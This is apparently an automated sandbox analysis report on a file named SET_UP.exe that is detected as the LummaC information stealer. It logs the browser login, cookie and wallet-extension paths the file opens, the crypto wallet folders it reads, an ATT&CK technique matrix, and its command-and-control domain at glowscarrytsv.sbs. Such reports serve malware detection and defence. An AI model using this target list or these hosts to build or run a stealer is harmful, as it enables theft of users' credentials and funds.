Source: SET_UP.exe, 00000000.00000003.1792533320.0000000000A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: SET_UP.exe, 00000000.00000003.1807449466.0000000000A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: SET_UP.exe, 00000000.00000003.1792533320.0000000000A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: SET_UP.exe, 00000000.00000003.1792533320.0000000000A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SET_UP.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1792533320.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1807281482.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1792533320.0000000000A37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SET_UP.exe PID: 7620, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SET_UP.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SET_UP.exe	8%	ReversingLabs
SET_UP.exe	4%	Virustotal		Browse

Source	Detection	Scanner	Label
https://glowscarrytsv.sbs/apiwg	0%	Avira URL Cloud	safe
https://glowscarrytsv.sbs/	0%	Avira URL Cloud	safe
https://glowscarrytsv.sbs/api7	0%	Avira URL Cloud	safe
https://glowscarrytsv.sbs/api9	0%	Avira URL Cloud	safe
https://glowscarrytsv.sbs/apia	0%	Avira URL Cloud	safe
https://glowscarrytsv.sbs/apim	0%	Avira URL Cloud	safe
https://glowscarrytsv.sbs/apis	0%	Avira URL Cloud	safe
http://crl.micro8	0%	Avira URL Cloud	safe
https://glowscarrytsv.sbs/api	100%	Avira URL Cloud	malware
https://glowscarrytsv.sbs/apiv	0%	Avira URL Cloud	safe
https://glowscarrytsv.sbs/B	0%	Avira URL Cloud	safe
glowscarrytsv.sbs	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
glowscarrytsv.sbs	188.114.97.3	true	true		unknown
198.187.3.20.in-addr.arpa	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://glowscarrytsv.sbs/api	true	Avira URL Cloud: malware	unknown
rabidcowse.shop	false		high
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
glowscarrytsv.sbs	true	Avira URL Cloud: safe	unknown
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://glowscarrytsv.sbs/apiwg	SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://glowscarrytsv.sbs/apia	SET_UP.exe, 00000000.00000002.1906733986.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
